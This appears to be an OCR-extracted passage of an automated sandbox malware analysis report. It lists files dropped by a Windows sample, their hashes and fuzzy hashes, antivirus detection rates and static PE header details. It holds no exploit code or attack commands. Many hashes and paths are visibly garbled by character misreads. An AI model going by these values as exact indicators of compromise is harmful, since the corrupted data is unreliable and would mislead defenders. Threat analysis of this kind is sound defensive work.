192:Rrl7r3GLNic516P6YFZSU4rPGgmfgRShCpD189b26sfkym:RrisNiQI6P6Y7SU4ygmfgRST2Zfg
A9753AEAD451110AC4CAAA29B755DDB3
4BFA1A12F66A6658FB459B7EE3204AFA0286E12F
D09C071D33C4F3E5C4737A8D1ACE78F4ACFB66F72FFBEADDA46541E758FE0795
32868AF61B1FFB881B6CAEF762B990A6AE60038F547D615C8FBD3119DCD6150271CE1464963D53353B7AF197333FADA895B820DEDD88C6648C0ODF97FIDDFO0C
false

unknown

.<.?x.ml .versio.n.="1.0" .en.c.0.ding="UTF.-16."2>. .. <WERRep.ortMetadata>....<O.SV.ers.io.nlnformation>....<W.ind.
o.w.s.N.T.V.errs.io.n.>.1.0..0.</W..nd.ows.NT.V.ers.i.on>.....<Bu.ild>17134</Build>.....<Pro.du.c.t>(0x3.0.)... . W.in.d.ow.s. .1.0. .P.r.o.
</P.roduct>....<E.d.ition>Profess.ional</Ed.ition>....<BuildString>17134.1.amd64fre.rs4._releas.e.1804.10.-.1.8.04.

</B.u.ild.S.tring>.....<Rewvis.io.n>1l</Rewvision>....<Flavor>M.ultipro.c.ess.or. Free</Flavor>....<Architecture>X6.4.</.
Ar.chitecture>.....<LClD.>1.0.3.3</LC.lD>...</0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.i.d>6.8.0.0.</P..
d>..

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREF66.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4685

4.473487564710429

false
48:cviwSD8zsRJIgtWI995WSC8Bt8fm8M4JIx8qFr+q8vz8x+JqpOkd:ul TfiSISNOJIKE+opOkd
6FA942E7A0B9387540319A8CC997EA42
1137F86C001DF8534D536609F9F5AF8EOC3E13B6
F4A7EC35D9DD3C8DFF28D7B337F265CE8F91884E86AF3D03B4078EFELF72E212C
92911D973CE064C011DD99361C4D65CA10155E2630C4E514A237CF89E0858A1DDC78A8BBE715E78C0C3405A18827E239B799BE15383B3584305902AAAAA0223(

false

unknown

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
/>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
/>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1341969" />.. <arg nm="osinsty" val="1"/>.. <arg nm="iever" val="11.1.17134.0-
11.0.47" />.. <arg nm="portos" val="0"/>.. <arg nm="ram" val="4096" />..

C:\Users\luser\AppData\Local\Microsoft\CLR_v4.0_32\UsagelLogs\7D0A.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Users\user\AppData\Local\Temp\7DOA.exe

ASCII text, with CRLF line terminators

dropped

700

5.346524082657112

false
12:Q3La/KDLI4AMWuPk210OKbbDLI4AMWuPJKiUrRZ910ZKhat/DLI4M/DLI4AMOkvoDLIw:MLOE4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
65CF801545098D915A06D8318D296A01

456149D5142C75C4CF74D4A11FF400F68315EBDO
32E502D76DBE4F89AEES86A740F8D1CBC112AA4A14D43B9914C785550CCA130F

4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFASDA13140A16A7DEY49DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEABBC6C4A9B4F1D55
D

false

unknown
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C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsagelLogs\7D0A.exe.log

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System\4f0a7eefa3cd3eOba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft. CSharp, Vers
ion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Sy
stem.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\luser\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl

Process: C:\Windows\System32\svchost.exe
File Type: data

Category: dropped

Size (bytes): 65536

Entropy (8bit):  0.11008162512076788

Encrypted: false

SSDEEP: 12:26+k1jXm/Ey6q9995qGq3qQ10nMCldimE8eawHjc1F1f:26b4168MjLyMCldzE9BHjcfd

MD5: EBCE4E8FF3E15A399552D4690AC37736

SHA1L: 79211AAAE61CE12A7C8E53974D5EF0231D3FBF57

SHA-256: 26C30570B0A71B1B711F1618D8F0530F7BD3F6C8C24239C83A499EFAG4C65529

SHA-512: 53DB29D3009663FAF11E223BB73E6DD4CD549C7EFD29834F77EF495BE4BCIA3FC3F976DOB5EF86EC306FB3B8E867C575DBD853D33BF6C6149E70921D35D4B7
6

Malicious: false

Reputation: unknown

Preview:
................................................................................ T X T3@.cveeeeeveeeee B Zbieeceeeeeeen @020 008D 2,020
.............. @.tzres..dll, -2 0.0 s Pl SNV eDLOS 0. Cl\Us.err s\ h.arr.d.z\Ap.p.D.ata\L.o.cal\p.ac
k.a.g.ess\ActiveSy.nclLo.calStatel\D.iagO.utp.utD.ir\Sy.ncV.erb.os.e..etl. ... . PPT. X MB3B@...oooooiiiiiiiiiiiiiie e

C:\Users\luser\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl

Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 65536

Entropy (8bit):  0.1125318481978825

Encrypted: false

SSDEEP: 12:L0jXm/Ey6q9995¢qQ1miM3qQ10nMCldimE8eawHzalmil80P:t168MQ1tMLyMCldzE9BHzaltI8k
MD5: 9C90FO06CCBEACB3A8B7C71FABIE3EC5A3

SHAL: 805FAAGF88EBD4C2CF661944EE2B62A41AAF2FBB

SHA-256: 3A5F2158913B717BADB36A34B9084E5FF33C8E7D9727ED520A3C24EF69C3DC1A

SHA-512: 4147E871711095822EA66BDCFB5BAAS6DAC86493614B40A1A7299C3F175EE669D8648741A2D73F9A14FF920353B627AADFB1285D1D20922061BD49BOEF9D0558
Malicious: false

Reputation: unknown

Preview:

@.t.z.ore.s.dll, 212 s
. jF....Unistack.Circular.C.\Us.ers\hardz\Ap.p.D.atallLo.ca
P.P.T..X..\2@.

l\p.ackages\Activ.eSy.ncl\lLo.calStatel\DiagO.utputDir\UnistackC.ircular..e.tl

C:\Users\user\AppDatal\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 65536

Entropy (8bit):  0.11262246064646632

Encrypted: false

SSDEEP: 12:ttsjXm/Ey699995qGulmK2P3qQ10nMCldimE8eawHzalmKstP:xI68MGuliPLyMCldzE9BHzal4F

MD5: 68886B0A5811A0A2CD8E4FE4AF8F7B79B

SHAL: AD7CA336D3562569DC0A4BEF29726F31DDC4285D

SHA-256: 810E1C295F835F33BCD2A363AA3EA3D1262324C9881D8EF01A9C8DAEES119558

SHA-512: 51E02165BFCAC995F975258532F924462B9B13CBCOA57EOE736A6B59729C936855885461593DF5A9364BCEEAS51A5B2504177EEDIF668740442A87BAA939D1522

Malicious: false

Reputation: unknown

Preview:
................................................................................ T.X.31@.cocveceveen B Zbi @tz RS AL - 2120
.............. @.t.z.res.dll, - 200 e G X P Ulniisitacc k. Coricticcal..Ci\Us.ers\ h.ard.z\ Ap.p.D.atal\L.o.ca

l\p.ackag.es\Ac.tiveSyncl\lLo.calStatel\D.iag.O.utp.utD.ir\UnistackCritical.etl. ... .PPT X  1@. .
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Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped
3576320
7.9976863291960605
true
49152:Y+RSFgeQKgdJee+ntOkgd+TuRCg+687ZEYNFVKfDIcCKBnAONaGGh:Yb8eQKg+tOV0OT0z875NFKfDPK8NASA
5800952B83AECEFC3AA06CCB5B29A4C2
DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
B8BED0211974F32DB2C385350FB62954F0B0OF335BC592B51144027956524D674
2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E3
true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

905216

7.399713113456654

false
12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+IMbguodE1z00LxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
852D86F5BC34BF4AF7FA89C60569DF13

C961CCD088A7D928613B6DFI00814789694BEOAE
2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4ACS5DDA8DAC7074078BEAD7FC6EF

B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7FIF3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCE
7

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 34%, Browse
e Antivirus: ReversingLabs, Detection: 63%

unknown

Pl
.@..@.data...8....p.

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe
MS-DOS executable

dropped

557664

7.687250283474463

false
12288:fWxcQhhhhhn8bieAtJIlILtrHWNjkQrk8iBHZkshvesxViA90g+:fWZhhhhhUATILtrUbK8oZphveoMA9
6ADB5470086099B9169109333FADAB86

87EB7A01E9E54E0A308F8DSEDFD3AFEEBA4DCE19
B4298F77E454BD5FO0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4

D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1IECO5DD09F59407FCB74E3375E8EE706ACDAGI06ES52DE6F2DD5FA3ED
CD

true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

....g..L.r9..v9.<iP.hL[Kc...",..

Process:

C:\Windows\explorer.exe
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https://www.metadefender.com/#!/results/file/bzIyMDExNHVfM3BRWXFFNEpfVEtDWUtOZWQ/regular/analysis

File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

3590568

7.998676115843541

true

49152:EL+mxBllyyJfM7/v97b/WOpE93+VBgpPhaOJxZJp43eDECIgMF3yJYztuHNawqg5Y:ESyLIg5VE93ke5nZIc TAqO7Jut8y
980CC192801D493B45B4ABFC6EEE9AD7

FB0924030CDE9BEFB4D2C39BD71F14AC252E80B1

22CB98A4832824ADC290E8A9541B50228F4F75FB1ABE621FD80D4D2BE7ED73F9
F66D5B6EA4C1E5961C01528D79E04AE047A869EBI968FF8F173A1FEC34DA91883A839CB52D415A32BF3080AA1232B022DCIC077719F14F60930BFDB7081F6137
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 86%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped
3576320
7.9976863291960605
true
49152:Y+RSFgeQKgdJee+ntOkgd+TuRCg+687ZEYNFVKfDIcCKBnAONaGGh:Yb8eQKg+tOVOT0z875NFKfDPK8NASA
5800952B83AECEFC3AA06CCB5B29A4C2
DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
B8BED0211974F32DB2C385350FB62954F0B0OF335BC592B51144027956524D674
2A490708A2C5B742CEB14DEGE2180C4CB606FCCEBS5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E3
true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:
Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
320000
6.684181622705276
false
6144:PgjIDJ13d07SuLbkayXpkU9xb1V2PyiORsBe:Pgj/13d4IkXWsxRV250R
F05279062D67B1F816420725086C77AB
4932E057633CB1C26D4086DAECOB46E9F8D53C92
8C0272F6D0136BBBADEB659D8DE19A4BE68A81FC018587275E045103FC01B49D
040875AE4CB8F5D0F6DE40393C35F567131263C23C963352BB7E483E93C56C847B94C8388ABDC341704635344019D66736A9BA0F25A3D1D54D964E42434DB623
true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

1..L.IThis program cannot be run in DOS mode....$..
.......................... Tt Ton(
@....lemel... @....lobil..

Process:

File Type:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
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Category:

Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

modified

537088

5.840438491186833

false

12288:SV2DIXKmQESNLJIYydpKDDCrgXSIXcZD0sghxRo:nK1vVYcZyXSY

D7DF01D8158BFADDC8BA48390E52F355

7B885368AA9459CE6GEB8D70F48C2225352FAB6GEF

4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
63F1C903FB868E25CE49D070F02345E1884F06EDEC20CIF8A47158ECB70BIEI3AADA7C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
true

e Antivirus: Avira, Detection: 100%

e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: Metadefender, Detection: 46%, Browse
e Antivirus: ReversingLabs, Detection: 89%

unknown

.L.IThis program cannot be run in DOS mode....$....... PE..L...2y*

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1:
SHA-256:
SHA-512:
Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows
dropped
323584
6.705624152574406
false
6144:gSsmY+jbtJGpwWulzaVxZ0J4vuyl2ZCA70FAStpV:gSsmY+{tOpw0zoMiv3I2F7I
FFOD190D6DF636D7DE5S3B8B6B683BC6E
3C9768818A5C467062F9E34DCFASFAEFE3B507C6
012CE05F8263D161D4387749446CB3DF3240FD33CF71DFB3F48DC4F4C9354298
35A97610BF41FED4D3ABEE7EEE7E4403CC587B550B286854A62EEAE0353BE4C84625D1B30E1083E5DD60DB1F8788D0AF940162E10C314ABC731981375B143EL
true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

905216

7.399713113456654

false

12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+MbguodE 1z00LxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
852D86F5BC34BF4AF7FA89C60569DF13

C961CCD088A7D928613B6DF900814789694BEOAE
2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4AC5DDA8DA4C7074078BEAD7FC6F

B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7FIF3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCE
7

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 34%, Browse
e Antivirus: ReversingLabs, Detection: 63%

unknown

Pl
.@..@.data...8....p.
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https://www.metadefender.com/#!/results/file/bzIyMDExM3dwaTVCMnFSbVRjWXczZkhZcEI/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDExNHVfM3BRWXFFNEpfVEtDWUtOZWQ/regular/analysis

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

373760

6.990411328206368

false
6144:GszrgLWpo6b10mohXrldF5SpBLE4Hy+74YOANF3YFUGFHWEZ(q:Gsgq3b10Omsbh7pBLEazsYOSGFHFHW
8B239554FE346656C8EEF9484CE8092F

D6A96BE7A61328D7C25D7585807213DD24E0694C
F96FB1160AAAAOBO73EFOCDB061C85C7FAF4EFE018B18BE19D21228C7455E489

CE9945E2AF46CCD94C99C36360E594FF5048FE8E146210CF8BAOD71C34CC3382B0AA252A96646BBFD57A22E7A72E9B917E457B176BCA2B12CCAF662D8430427
D

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 29%, Browse
e Antivirus: ReversingLabs, Detection: 81%

unknown

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

301056

5.192330972647351

false
3072:4/Is8LAAkcooHqeUoINx8IA0ZU3D80T840yWrxpzbgqrunfed:|Is8LA/oHbbLAGOfT8auzbgwulG
277680BD3182EB0940BC356FF4712BEF

5995AE9D0247036CC6D3EA741E7504C913F1FB76
FOFOAAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570

0B777D45C50EAEO00ADO50D3B2A78FAGOEB78FEB37696A6562007ED628719784655BA13EDCBBEEYS3F7EEFADE49599EE6D3D23E1C585114D7AECDDDAYADIDC
ECB

true
e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

.L.IThis program cannot be run in DOS mode....$......2t.v.i.v.iv.i.hG..Li.hG...i.hG..[i.Q...q.i.v.h...i.hG..w.i.hG..w.i.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:
Reputation:

Preview:

C:\Users\user\AppData\Local\Temp\743F.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

11360768

3.81005892864825

false

6144:PgjIDJ13d07SulbkayXpkU9xb1V2PyiORsBe:Pgj/13d4IkXWsxRV250R
AB58CC4BF8687E3F671DAC84A0675E96
8221652C8A4EA2EB2FCC1FB4DA17D74AD23D91D9
4162CC11CC30F7DB7C8A151252A7E63E78DD4C03C995E2AB6E225DC811B8FD48

3EBO9EE0A43631D53B6364D4D8CBBE9CEEBEID2CASDCC2F1022F75BDA4232223C0F98E9FDC804BCE8642BBC50C4FEE9E1D79DB655D3F729EAES393B55D68
F150

true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

.L.IThis program cannot be run in DOS mode....$..
.......................... B R P ¢
@....lemel... @....lobil..
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https://www.metadefender.com/#!/results/file/bzIyMDExMzZ2NU9wbWZHTU5TTnh4WkdCY3g/regular/analysis

C:\Users\luser\AppDatal\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001YS (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

65536

0.11008162512076788

false
12:26+k1jXm/Ey6q9995qGq3qQ10nMCldimE8eawHjc1F1f:26b4168MjLyMCldzE9BHjcfd
EBCE4E8FF3E15A399552D4690AC37736
79211AAAE61CE12A7C8E53974D5EF0231D3FBF57
26C30570B0OA71B1B711F1618D8F0530F7BD3F6C8C24239C83A499EFA64C65529

53DB29D3009663FAF11E223BB73E6DDA4CD549C7EFD29834F77EF495BE4BCOA3FC3F976D0OB5EFS6EC306FB3B8E867C575DBD853D33BF6C6149E70921D35D4B7
6

false

unknown

@.tzres.dll,.-2.1.2. ..
.Sy.ncVerb.ose..C:\Us.ers\hardz\Ap.pDatallLo.cal\pac
P.P.T..X..M3@

.@.tzres..dll, .-21.1. .
k.a.g.ess\Ac.tiveSyncllLo.calStatel\D.iagO.utp.utD.ir\SyncV.erb.ose..e.t

C:\Users\luser\AppDatal\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

65536

0.1125318481978825

false
12:L0jXm/Ey6g9995qQ1miM3gqQ10nMCldimE8eawHzalmil80P:t168MQ1tMLYMCldzE9BHZza1tI8k
9C90F06CC6ACB3A8BB7C71F4BI9E3EC5A3
805FAAGF88EBDAC2CF661944EE2B62A41AAF2FBB
3A5F2158913B717BADB36A34B9084E5FF33C8E7D9727ED520A3C24EF69C3DC1A
4147E871711095822EA66BDCFB5BAAS6DAC86493614B40A1A7299C3F175EE669D8648741A2D73F9A14FF920353B627AADFB1285D1D20922061BD49BOEF9D0558
false

unknown

.@tzres.dll,.-212..
Us.ers\hardz\AppDatallLo.ca

.@.tzres..dll

.Unis.tack.C.ir.cu.lar
l\p.acka.g.es\Ac.

tackcCircular..etl

C:\Users\luser\AppDatal\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001d. (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

65536

0.11262246064646632

false
12:ttsjXm/Ey699995qGulmK2P3qQ10nMCldimE8eawHzalmKstP:xI68MGuliPLyMCldzE9BHzal4F
68886B0A5811A0A2CD8EAFEAF8F7B79B

AD7CA336D3562569DC0A4BEF29726F31DDC4285D
810E1C295F835F33BCD2A363AA3EA3D1262324C9881D8EF01A9C8DAEES119558
51E02165BFCAC995F975258532F924462B9B13CBCOA57EOE736A6B59729C936855885461593DF5A9364BCEEAS51A5B2504177EEDIF668740442A87BAA939D1522
false

unknown

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped
320000
6.688755474337002
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Encrypted: false

SSDEEP: 6144:fAQIFL5D8E3weiB+aHjHvEaTvpwrOUopl2wPgnPHPYU:wQQp8yweXUvEkSJUal2vnP

MDS5: B45BF93A4B27690392433619C5006E8B

SHA1L: 9EC3AD4B028AB127E71FD755263DD0OAABAL17260E

SHA-256: E997341AB2422F5471FACIOF1DF84F7A52E16FA38D64EGEOF4AF94859CC234E2F8

SHA-512: 42F31ACF12BDF50AB9A5525D31157C6E9C09C1013CD4502A0DEDB5A339ECE6D5AB6AA268073CF05B25FBE662F5066086ADD8B7701DE9010AACCOE4EAFEBECE
275

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

..1L.L.IThis program cannot be run in DOS mode....$........z<..R..R..R.I..R.Lg.R..)..R..S.>R..[.R..I..R..I...R.Rich.

Process: C:\Windows\explorer.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 26

Entropy (8bit):  3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYVIrPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHAL: 6693BA299EC1881249D59262276A0D2CB21F8E6G4

SHA-256: 255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
Malicious: true

Reputation: unknown

Preview:

[ZoneTransfer]....Zoneld=0

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220114 125823 481.etl

Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 8192

Entropy (8bit):  3.37996320573133

Encrypted: false

SSDEEP: 96:hCBjh/0+DzY50109f/YXhHCWEII2119T1ky504Y618T2vjFzHNMCGdJIR4j5N:Qzw3Ft2/4ZC2e
MD5: 31C5A57ACE4EC5D40EAA7TDD3CES9FFEC

SHAL: 668A6BB005B79A1F117D136F275301AA8D256D91

SHA-256: 45AF3E33BD3FBAB4101529BF74FF10C2AAC32583C6BE8SFOD631E161143C57CEE
SHA-512: 8A60380A42FA9BBEAE1338430417CB14B95B8C44771E43AB3358BB2E717FB3955A4B1AF3BEC4CC9938610C1DB2DA8BES512927371D62B5D86F464A51497770D6¢
Malicious: false

Reputation: unknown

Preview:

@tzres.dll,.-21.2. ...
@tzres..dll,.-2.1.1. .8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A4.E.E.-4.9.E.E4.3.1.B.0.AD.9..C.\W.i.n.
d.o.w.s\.S.erv.ic.e.P.rofiles\Netwo.rkServicelAp.p.DatallLo.cal\Mic.ro.s.oft\Wind.ow.s\D.e.liv.ery.O.p.tim.izatio.n\Lo.gs\d.o.s.v.c..

C:\Windows\SysWOWeé64\icpymrdv\tvdcssmj.exe (copy)

Process: C:\Windows\SysWOW64\cmd.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 11360768

Entropy (8bit):  3.81005892864825

Encrypted: false

SSDEEP: 6144:PgjIDJ13d07SuLbkayXpkU9xb1V2PyiORsBe:Pgj/13d4IkXWsxRV250R

MD5: AB58CC4BF8687E3F671DAC84A0675E96

SHAL: 8221652C8A4EA2EB2FCC1FB4DA17D74AD23D91D9

SHA-256: 4162CC11CC30F7DB7C8A151252A7E63E78DD4C03C995E2AB6E225DC811B8FD48

SHA-512: 3EBO9EE0A43631D53B6364D4D8CBBEICEEBEID2CASDCC2F1022F75BDA4232223C0F98E9FDC804BCE8642BBC50C4FEE9E1D79DB655D3F729EAES393B55D68B
F150
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C:\Windows\SysWOWe64\icpymrdv\tvdcssmj.exe (copy)

Malicious: false
Reputation: unknown
Preview:

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Copyright Joe Security LLC 2022

1..L.IThis program cannot be run in DOS mode....$

¢8d0d8e0f8f0f4e8

.z<..R..R.R.L.R.Lg.R..)..R..S>R.I.R.I..R.I.R.Rich.

PE32 executable (GUI) Intel 80386, for MS Windows

6.688755474337002

e Win32 Executable (generic) a (10002005/4)
99.83%

Windows Screen Saver (13104/52) 0.13%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

e o o o

elxMVDoQF3.exe

320000

b45bf93a4b27690392433619c5006e8h
9ec3ad4b028ab127e71fd755263dd0aa8al7260e

€997341ab2422f5471f4c9f1df84f7a52e16fa38d64e6e0f4
f94859cc234e2f8

42f31acf12bdf50ab9a5525d31157¢6€9c09¢1013cd4502
a0dedb5a339ec6d5ab6aa268073cf05b25fhe662f506608
6add8b7701de9010aaccOedeafebech275

6144:fAQIFL5D8E3weiB+aHjHvEaTvpwrdUopl2wPgnP
HPYU:wQQp8yweXUvEkSJUal2vnP

is program cannot be run in DOS mode....$.
R.R.L..R.LgR..)..R.S>R.L..R.IL.R.l..RRich..

0x41b6a0

text

false

0x400000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE
TERMINAL_SERVER_AWARE, NX_COMPAT
